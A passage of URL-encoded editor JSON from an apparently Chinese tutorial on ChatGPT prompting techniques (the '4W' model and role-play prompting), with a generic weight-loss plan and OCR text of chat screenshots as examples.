5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E6%88%91%E8%A6%81%E5%87%8F%E8%82%A5%2C%E8%AF%B7%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%2C%E6%88%91%E7%9B%AE%E5%89%8D%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%20%E5%A5%BD%E7%9A%84%2C%E5%88%B6%E5%AE%9A%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E6%82%A8%E7%9A%84%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%2C%E5%8C%85%E6%8B%AC%E8%BA%AB%E4%BD%93%E7%8A%B6%E6%80%81%2C%E6%97%A5%E5%B8%B8%E9%A5%AE%E9%A3%9F%2C%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%E7%AD%89.%E4%BB%A5%E4%B8%8B%E6%98%AF%E6%88%91%E4%B8%BA%E6%82%A8%E5%88%B6%E5%AE%9A%E7%9A%84%20%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%3A%201.%E7%A1%AE%E5%AE%9A%E7%9B%AE%E6%A0%87%3A%E9%A6%96%E5%85%88%E8%A6%81%E8%AE%BE%E5%AE%9A%E4%B8%80%E4%B8%AA%E5%87%8F%E8%82%A5%E7%9B%AE%E6%A0%87%2C%E4%BE%8B%E5%A6%82%E5%87%8F%E5%8E%BB10-15%E6%96%A4%E6%98%AF%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E5%90%88%E7%90%86%E7%9A%84%E7%9B%AE%E6%A0%87%2C%E4%BD%86%E6%9C%80%E9%87%8D%E8%A6%81%E7%9A%84%E6%98%AF%E8%A6%81%E4%BB%A5%E5%81%A5%20%E5%BA%B7%E4%B8%BA%E5%89%8D%E6%8F%90%2C%E5%B9%B6%E4%B8%94%E9%9C%80%E8%A6%81%E6%9C%89%E8%80%90%E5%BF%83%E5%92%8C%E6%AF%85%E5%8A%9B.%202.%E6%8E%A7%E5%88%B6%E9%A5%AE%E9%A3%9F%3A%E5%90%88%E7%90%86%E7%9A%84%E9%A5%AE%E9%A3%9F%E6%8E%A7%E5%88%B6%E6%98%AF%E5%87%8F%E8%82%A5%E7%9A%84%E5%85%B3%E9%94%AE.%E6%8E%A8%E8%8D%90%E6%82%A8%E9%87%87%E7%94%A8%E5%B0%91%E9%87%8F%E5%A4%9A%E9%A4%90%E7%9A%84%E6%96%B9%E5%BC%8F%2C%E6%AF%8F%E6%97%A5%E5%88%86%E4%B8%89%E9%A4%90%E5%92%8C%E4%B8%A4%E6%AC%A1%E5%B0%8F%E9%A3%9F.%E9%A5%AE%E9%A3%9F%20%E5%BA%94%E4%BB%A5%E9%AB%98%E7%BA%A4%E7%BB%B4%2C%E4%BD%8E%E5%8D%A1%E8%B7%AF%E9%87%8C%E8%94%AC%E8%8F%9C%2C%E6%B0%B4%E6%9E%9C%2C%E9%AB%98%E8%9B%8B%E7%99%BD%E7%98%A6%E8%82%89%2C%E9%B1%BC%E7%B1%BB%2C%E8%9B%8B%E7%99%BD%E8%B4%A8%2C%E5%9D%9A%E6%9E%9C%E5%92%8C%E4%BD%8E%E8%84%82%E4%B9%B3%E5%88%B6%E5%93%81%E4%B8%BA%E4%B8%BB%2C%E5%B0%BD%E9%87%8F%E9%81%BF%E5%85%8D%E9%AB%98%20%E7%B3%96%2C%E9%AB%98%E6%B2%B9%2C%E9%AB%98%E7%83%AD%E9%87%8F%E7%9A%84%E9%A3%9F%E7%89%A9.%E9%81%B5%E5%BE%AA%5C%22%E6%8E%A7%E7%9B%90%2C%E5%B0%91%E6%B2%B9%2C%E5%B0%91%E7%B3%96%2C%E5%B0%91%E9%85%92%5C%22%E7%9A%84%E9%A5%AE%E9%A3%9F%E5%8E%9F%E5%88%99.%203.%E5%A2%9E%E5%8A%A0%E8%BF%90%E5%8A%A8%E9%87%8F%3A%E9%80%82%E9%87%8F%E7%9A%84%E4%BD%93%E8%82%B2%E9%94%BB%E7%82%BC%E6%98%AF%E5%87%8F%E8%82%A5%E7%9A%84%E9%87%8D%E8%A6%81%E9%80%94%E5%BE%84.%E5%BB%BA%E8%AE%AE%E6%82%A8%E6%AF%8F%E6%97%A5%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%B0%8F%E6%97%B6%E7%9A%84%E9%94%BB%E7%82%BC%2C%E5%8F%AF%E4%BB%A5%E9%80%89%E6%8B%A9%E6%AD%A5%E8%A1%8C%2C%E6%85%A2%20%E8%B7%91%2C%E8%B7%B3%E7%BB%B3%2C%E7%91%9C%E4%BC%BD%2C%E6%99%AE%E6%8B%89%E6%8F%90%E7%AD%89%E4%BD%93%E8%82%B2%E9%94%BB%E7%82%BC%E6%96%B9%E6%B3%95.%E5%A6%82%E6%97%A0%E7%89%B9%E6%AE%8A%E6%83%85%E5%86%B5%2C%E5%BB%BA%E8%AE%AE%E6%82%A8%E5%A2%9E%E5%8A%A0%E8%BF%90%E5%8A%A8%E5%BC%BA%E5%BA%A6%2C%E6%97%B6%E9%95%BF%E5%92%8C%E9%A2%91%E7%8E%87%2C%E4%BD%86%E8%A6%81%E6%B3%A8%20%E6%84%8F%E9%80%90%E6%B8%90%E5%A2%9E%E5%8A%A0%E9%87%8F%E7%9A%84%E6%96%B9%E5%BC%8F%2C%E4%BB%A5%E9%81%BF%E5%85%8D%E8%BF%90%E5%8A%A8%E8%BF%87%E9%87%8F%E5%AF%BC%E8%87%B4%E8%BA%AB%E4%BD%93%E5%8F%97%E4%BC%A4.%204%2C%E6%AF%8F%E6%97%A5%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%3A%E5%BB%BA%E8%AE%AE%E6%82%A8%E5%85%BB%E6%88%90%E8%89%AF%E5%A5%BD%E7%9A%84%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%2C%E5%8C%85%E6%8B%AC%E6%97%A9%E7%9D%A1%E6%97%A9%E8%B5%B7%2C%E4%BF%9D%E8%AF%81%E5%85%85%E8%B6%B3%E7%9A%84%E7%9D%A1%E7%9C%A0%2C%E9%81%BF%E5%85%8D%E7%86%AC%E5%A4%9C%3B%E4%B8%8D%E5%90%B8%E7%83%9F%2C%E5%B0%91%20%E5%96%9D%E9%85%92%3B%E9%81%BF%E5%85%8D%E5%9D%90%E7%9D%80%E6%97%B6%E9%97%B4%E8%BF%87%E9%95%BF%2C%E5%81%9A%E5%88%B0%E8%BD%BB%E6%9D%BE%E8%82%8C%E8%82%89%E6%B4%BB%E5%8A%A8%2C%E4%BC%B8%E5%B1%95%E8%82%A2%E4%BD%93%E7%AD%89.%205.%E7%9B%91%E6%8E%A7%E4%B8%8E%E8%B0%83%E6%95%B4%3A%E5%87%8F%E8%82%A5%E6%98%AF%E4%B8%AA%E9%95%BF%E6%9C%9F%E7%9A%84%E8%BF%87%E7%A8%8B%2C%E5%9C%A8%E8%BF%99%E4%B8%AA%E8%BF%87%E7%A8%8B%E4%B8%AD%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9B%91%E6%8E%A7%E8%87%AA%E5%B7%B1%E7%9A%84%E4%BD%93%E9%87%8D%E5%8F%98%E5%8C%96%E5%92%8C%E8%BA%AB%E4%BD%93%E7%8A%B6%E5%86%B5%2C%E5%8F%91%E7%8E%B0%E6%9C%89%E5%BC%82%E6%A0%B7%20%E5%8F%8A%E6%97%B6%E8%B0%83%E6%95%B4%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%20%E6%88%91%E5%B8%8C%E6%9C%9B%E8%BF%99%E4%B8%AA%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%E8%83%BD%E5%A4%9F%E5%B8%AE%E5%8A%A9%E5%88%B0%E6%82%A8.%E8%AF%B7%E6%B3%A8%E6%84%8F%2C%E5%8F%AA%E6%9C%89%E6%8A%8A%E8%BF%99%E4%B8%AA%E8%AE%A1%E5%88%92%E8%B4%AF%E5%BD%BB%E5%88%B0%E5%BA%95%2C%E6%89%8D%E8%83%BD%E8%8E%B7%E5%BE%97%E8%89%AF%E5%A5%BD%E7%9A%84%E5%87%8F%E8%82%A5%E6%95%88%E6%9E%9C.%E5%A6%82%E6%9E%9C%E6%82%A8%20%E8%BF%98%E6%83%B3%E8%8E%B7%E5%BE%97%E6%9B%B4%E5%8A%A0%E4%B8%AA%E6%80%A7%E5%8C%96%E6%9B%B4%E5%8A%A0%E4%B8%93%E4%B8%9A%E7%9A%84%E5%87%8F%E8%82%A5%E5%BB%BA%E8%AE%AE%2C%E5%BB%BA%E8%AE%AE%E5%AF%BB%E6%B1%82%E4%B8%80%E4%BD%8D%E4%B8%93%E4%B8%9A%E7%9A%84%E8%90%A5%E5%85%BB%E5%B8%88%E6%88%96%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E7%9A%84%E5%B8%AE%E5%8A%A9.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f5f4f2%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u846e421b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua0dcd4d5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%9B%B8%E6%AF%94%E4%B9%8B%E5%89%8D%E6%9B%B4%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%90%E9%97%AE%EF%BC%8CChatGPT%E7%BB%99%E4%BA%86%E6%9B%B4%E5%85%B7%E4%BD%93%E7%9A%84%E5%9B%9E%E5%BA%94%E4%BB%A5%E5%8F%8A%E6%9B%B4%E8%AF%A6%E7%BB%86%E7%9A%84%E8%8C%83%E4%BE%8B%EF%BC%8C%E4%BD%86%E5%AE%9E%E9%99%85%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%AA%E8%8C%83%E4%BE%8B%E4%B8%AD%EF%BC%8C%E8%99%BD%E7%84%B6%E5%86%85%E5%AE%B9%E8%AF%A6%E7%BB%86%E4%BD%86%E4%BA%8B%E5%AE%9E%E4%B8%8A%E6%B2%A1%E6%9C%89%E5%A4%AA%E5%85%B7%E4%BD%93%E7%9A%84%E8%AE%A1%E5%88%92%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud361bc2e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue18054ed%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E8%BF%99%E4%B8%AA%E5%9F%BA%E7%A1%80%E4%B8%8A%EF%BC%8C%E5%8F%88%E6%9C%89%E4%BA%BA%E6%8F%90%E5%87%BA%E4%BA%864W%E6%A8%A1%E5%9E%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9f93b22c%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u7cdec190%22%2C%22fid%22%3A%22u47c7d12e%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u66c52f49%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%224W%3A%20What(%E6%88%91%E7%9A%84%E6%83%85%E5%86%B5%E6%98%AF)%20-%20Will(%E6%88%91%E6%83%B3)%20-%20Who(%E4%BD%A0%E6%98%AF%E8%B0%81)%20-%20Want(%E6%88%91%E8%A6%81%E4%BD%A0)%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u44ed47cb%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u99d3b839%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%88%91%E4%BB%AC%E6%8A%8A%E5%89%8D%E9%9D%A2%E7%9A%84%E9%97%AE%E9%A2%98%E6%8D%A2%E4%B8%AA%E9%97%AE%E6%B3%95%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud460235b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ub55a0939%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682329668927-10d9eda1-c3ca-4f14-ab56-36b66dae4c2e.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A861%2C%22height%22%3A445%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A70457%2C%22width%22%3A782.7272557621163%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ua9c72874-0050-4d2a-87ce-e97363a236b%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A196.21599%2C%22y%22%3A65.419334%2C%22width%22%3A644.29541%2C%22height%22%3A16.00682599999999%2C%22text%22%3A%22%E6%88%91%E7%9A%84%E6%83%85%E5%86%B5%E6%98%AF%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%2C%E6%88%91%E6%83%B3%E8%A6%81%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E6%98%AF%E6%88%91%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E6%88%91%E6%83%B3%E8%A6%81%E4%BD%A0%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%22%7D%2C%7B%22x%22%3A14.342391%2C%22y%22%3A170.93834%2C%22width%22%3A658.7955489999999%2C%22height%22%3A15.088740000000001%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%2C%E9%A6%96%E5%85%88%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E4%BD%A0%E7%9A%84%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%2C%E5%8C%85%E6%8B%AC%E4%BD%A0%E7%9A%84%E8%BA%AB%E4%BD%93%E7%8A%B6%E5%86%B5%2C%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%2C%E9%A5%AE%E9%A3%9F%E4%B9%A0%E6%83%AF%2C%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%E7%AD%89%2C%E8%BF%99%E4%BA%9B%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A16.719269%2C%22y%22%3A192.55272%2C%22width%22%3A438.772401%2C%22height%22%3A14.175000000000011%2C%22text%22%3A%22%E5%8F%AF%E4%BB%A5%E5%B8%AE%E5%8A%A9%E6%88%91%E4%BB%AC%E5%88%B6%E5%AE%9A%E6%9B%B4%E5%8A%A0%E7%A7%91%E5%AD%A6%E6%9C%89%E6%95%88%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%E8%AF%B7%E4%BD%A0%E5%85%88%E5%9B%9E%E7%AD%94%E4%BB%A5%E4%B8%8B%E5%87%A0%E4%B8%AA%E9%97%AE%E9%A2%98%3A%22%7D%2C%7B%22x%22%3A27.844751%2C%22y%22%3A227.76782%2C%22width%22%3A333.244729%2C%22height%22%3A16.68610000000001%2C%22text%22%3A%221.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E9%A5%AE%E9%A3%9F%E4%B9%A0%E6%83%AF%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%2C%E9%80%9A%E5%B8%B8%E5%90%83%E4%BB%80%E4%B9%88%2C%E5%90%83%E5%A4%9A%E5%B0%91%3F%22%7D%2C%7B%22x%22%3A27.67556%2C%22y%22%3A266.44437%2C%22width%22%3A373.16767%2C%22height%22%3A14.375479999999982%2C%22text%22%3A%222.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E8%BF%90%E5%8A%A8%E9%87%8F%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%2C%E4%BD%A0%E6%98%AF%E5%90%A6%E6%9C%89%E9%95%BF%E6%9C%9F%E5%9D%9A%E6%8C%81%E7%9A%84%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%3F%22%7D%2C%7B%22x%22%3A27.464382%2C%22y%22%3A302.45068%2C%22width%22%3A387.168738%2C%22height%22%3A15.98702000000003%2C%22text%22%3A%223.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E4%BD%9C%E6%81%AF%E8%A7%84%E5%BE%8B%E5%A6%82%E4%BD%95%2C%E6%9C%89%E6%B2%A1%E6%9C%89%E5%A4%B1%E7%9C%A0%E6%88%96%E6%98%AF%E5%B7%A5%E4%BD%9C%E5%8E%8B%E5%8A%9B%E5%A4%A7%E7%9A%84%E6%83%85%E5%86%B5%3F%22%7D%2C%7B%22x%22%3A27.124348%2C%22y%22%3A338.95032%2C%22width%22%3A220.382492%2C%22height%22%3A15.579080000000033%2C%22text%22%3A%224.%E4%BD%A0%E6%83%B3%E8%A6%81%E5%9C%A8%E5%A4%9A%E9%95%BF%E6%97%B6%E9%97%B4%E5%86%85%E5%87%8F%E6%8E%89%E5%A4%9A%E5%B0%91%E6%96%A4%3F%22%7D%2C%7B%22x%22%3A15.459763%2C%22y%22%3A376.6099%2C%22width%22%3A522.194777%2C%22height%22%3A15.383800000000008%2C%22text%22%3A%22%E5%9B%9E%E7%AD%94%E4%BA%86%E4%BB%A5%E4%B8%8A%E9%97%AE%E9%A2%98%2C%E6%88%91%E4%BC%9A%E9%92%88%E5%AF%B9%E4%BD%A0%E7%9A%84%E6%83%85%E5%86%B5%E5%88%B6%E5%AE%9A%E4%B8%80%E4%BB%BD%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%2C%E5%B8%AE%E5%8A%A9%E4%BD%A0%E5%AE%9E%E7%8E%B0%E5%87%8F%E9%87%8D%E7%9B%AE%E6%A0%87.%22%7D%2C%7B%22x%22%3A579.4297%2C%22y%22%3A413.38437%2C%22width%22%3A107.80459999999994%2C%22height%22%3A13.104730000000018%2C%22text%22%3A%222023%2F4%2F24%2017%3A46%3A31%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E7%9A%84%E6%83%85%E5%86%B5%E6%98%AF%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%2C%E6%88%91%E6%83%B3%E8%A6%81%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E6%98%AF%E6%88%91%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E6%88%91%E6%83%B3%E8%A6%81%E4%BD%A0%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%20%E5%A5%BD%E7%9A%84%2C%E9%A6%96%E5%85%88%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E4%BD%A0%E7%9A%84%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%2C%E5%8C%85%E6%8B%AC%E4%BD%A0%E7%9A%84%E8%BA%AB%E4%BD%93%E7%8A%B6%E5%86%B5%2C%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%2C%E9%A5%AE%E9%A3%9F%E4%B9%A0%E6%83%AF%2C%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%E7%AD%89%2C%E8%BF%99%E4%BA%9B%E4%BF%A1%E6%81%AF%20%E5%8F%AF%E4%BB%A5%E5%B8%AE%E5%8A%A9%E6%88%91%E4%BB%AC%E5%88%B6%E5%AE%9A%E6%9B%B4%E5%8A%A0%E7%A7%91%E5%AD%A6%E6%9C%89%E6%95%88%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%E8%AF%B7%E4%BD%A0%E5%85%88%E5%9B%9E%E7%AD%94%E4%BB%A5%E4%B8%8B%E5%87%A0%E4%B8%AA%E9%97%AE%E9%A2%98%3A%201.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E9%A5%AE%E9%A3%9F%E4%B9%A0%E6%83%AF%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%2C%E9%80%9A%E5%B8%B8%E5%90%83%E4%BB%80%E4%B9%88%2C%E5%90%83%E5%A4%9A%E5%B0%91%3F%202.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E8%BF%90%E5%8A%A8%E9%87%8F%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%2C%E4%BD%A0%E6%98%AF%E5%90%A6%E6%9C%89%E9%95%BF%E6%9C%9F%E5%9D%9A%E6%8C%81%E7%9A%84%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%3F%203.%E4%BD%A0%E5%B9%B3%E6%97%B6%E7%9A%84%E4%BD%9C%E6%81%AF%E8%A7%84%E5%BE%8B%E5%A6%82%E4%BD%95%2C%E6%9C%89%E6%B2%A1%E6%9C%89%E5%A4%B1%E7%9C%A0%E6%88%96%E6%98%AF%E5%B7%A5%E4%BD%9C%E5%8E%8B%E5%8A%9B%E5%A4%A7%E7%9A%84%E6%83%85%E5%86%B5%3F%204.%E4%BD%A0%E6%83%B3%E8%A6%81%E5%9C%A8%E5%A4%9A%E9%95%BF%E6%97%B6%E9%97%B4%E5%86%85%E5%87%8F%E6%8E%89%E5%A4%9A%E5%B0%91%E6%96%A4%3F%20%E5%9B%9E%E7%AD%94%E4%BA%86%E4%BB%A5%E4%B8%8A%E9%97%AE%E9%A2%98%2C%E6%88%91%E4%BC%9A%E9%92%88%E5%AF%B9%E4%BD%A0%E7%9A%84%E6%83%85%E5%86%B5%E5%88%B6%E5%AE%9A%E4%B8%80%E4%BB%BD%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%2C%E5%B8%AE%E5%8A%A9%E4%BD%A0%E5%AE%9E%E7%8E%B0%E5%87%8F%E9%87%8D%E7%9B%AE%E6%A0%87.%202023%2F4%2F24%2017%3A46%3A31%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f7f6f5%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u15d79551%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufdf14cf3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%80%E6%AC%A1ChatGPT%E5%8F%8D%E9%A6%88%E7%9A%84%E6%9C%80%E5%A4%A7%E5%8F%98%E5%8C%96%E5%B0%B1%E6%98%AF%E4%BB%96%E4%BC%9A%E6%A0%B9%E6%8D%AE%E6%88%91%E7%9A%84%E5%86%85%E5%AE%B9%E8%BF%9B%E8%A1%8C%E5%8F%91%E6%95%A3%EF%BC%8C%E8%BF%9B%E8%80%8C%E8%BF%9B%E4%B8%80%E6%AD%A5%E7%9A%84%E5%8F%8D%E9%A6%88%E8%AF%A6%E7%BB%86%E7%9A%84%E5%86%85%E5%AE%B9%E5%92%8C%E5%8F%8D%E9%A6%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3eb2db83%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a85c896%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BA%8B%E5%AE%9E%E4%B8%8AChatGPT%E5%AF%B9%E4%BA%8E%E9%97%AE%E9%A2%98%E7%9A%84%E5%9B%9E%E7%AD%94%E5%B9%B6%E4%B8%8D%E6%98%AF%E4%B8%80%E5%AE%9A%E7%9A%84%EF%BC%8C%E7%9B%B8%E6%AF%944A%E6%A8%A1%E5%9E%8B%EF%BC%8C4W%E6%A8%A1%E5%9E%8B%E7%9A%84%E5%8F%8D%E9%A6%88%E8%B4%A8%E9%87%8F%E6%9B%B4%E9%AB%98%E5%8F%8D%E9%A6%88%E4%B9%9F%E6%AF%94%E8%BE%83%E7%9B%B4%E7%99%BD%EF%BC%8C%E5%9C%A8GPT4%E7%89%88%E6%9C%AC%E4%B9%8B%E5%90%8E%E5%8F%91%E6%95%A3%E5%BA%A6%E4%B9%9F%E6%9B%B4%E9%AB%98%EF%BC%8C%E4%B9%9F%E6%98%AF%E7%8E%B0%E5%9C%A8%E6%AF%94%E8%BE%83%E4%B8%BB%E6%B5%81%E7%9A%84%E6%89%AE%E6%BC%94%E6%8F%90%E9%97%AE%E6%B3%95%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3e4a447d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u57daf5e5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E4%BA%8B%E5%AE%9E%E4%B8%8A%EF%BC%8C4W%E7%9A%84%E5%9F%BA%E7%A1%80%E6%8F%90%E9%97%AE%E6%B3%95%E5%8F%AA%E6%98%AF%E6%AF%94%E8%BE%83%E9%80%9A%E7%94%A8%E7%9A%84%E9%97%AE%E6%B3%95%EF%BC%8C%E4%BD%86%E5%9C%A8%E6%89%AE%E6%BC%94%E6%B3%95%E5%8F%AF%E4%BB%A5%E6%9C%89%E6%9B%B4%E8%AF%A6%E7%BB%86%E7%9A%84%E6%8F%90%E9%97%AE%E6%96%B9%E5%BC%8F%E3%80%82%E6%AF%94%E5%A6%82%E6%88%91%E4%BB%AC%E5%85%88%E9%97%AE%E9%97%AE%E6%9C%89%E6%B2%A1%E6%9C%89%E4%B8%93%E4%B8%9A%E7%9A%84%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf7d685a5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u93eb7b7f%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682332986055-76820eeb-22b8-4a0b-8611-ead300e48805.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A857%2C%22height%22%3A454%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A82543%2C%22width%22%3A779.0908922045687%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u8a2c2232-6658-49ba-8984-1c1bf8de5b7%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A590.6552%2C%22y%22%3A61.790203%2C%22width%22%3A246.88672999999994%2C%22height%22%3A15.527487%2C%22text%22%3A%22%E6%88%91%E6%83%B3%E7%9F%A5%E9%81%93%E6%9C%89%E4%BB%80%E4%B9%88%E7%9F%A5%E5%90%8D%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E5%90%97%3F%22%7D%2C%7B%22x%22%3A12.183468%2C%22y%22%3A166.79193%2C%22width%22%3A260.137832%2C%22height%22%3A15.536479999999983%2C%22text%22%3A%22%E5%BD%93%E7%84%B6%E6%9C%89%2C%E4%BB%A5%E4%B8%8B%E6%98%AF%E4%B8%80%E4%BA%9B%E7%9F%A5%E5%90%8D%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%3A%22%7D%2C%7B%22x%22%3A23.824602%2C%22y%22%3A204.17091%2C%22width%22%3A582.120038%2C%22height%22%3A17.095770000000016%2C%22text%22%3A%221.TONYHORTON-%E4%BB%A5%E5%87%BA%E8%89%B2%E7%9A%84%E9%94%BB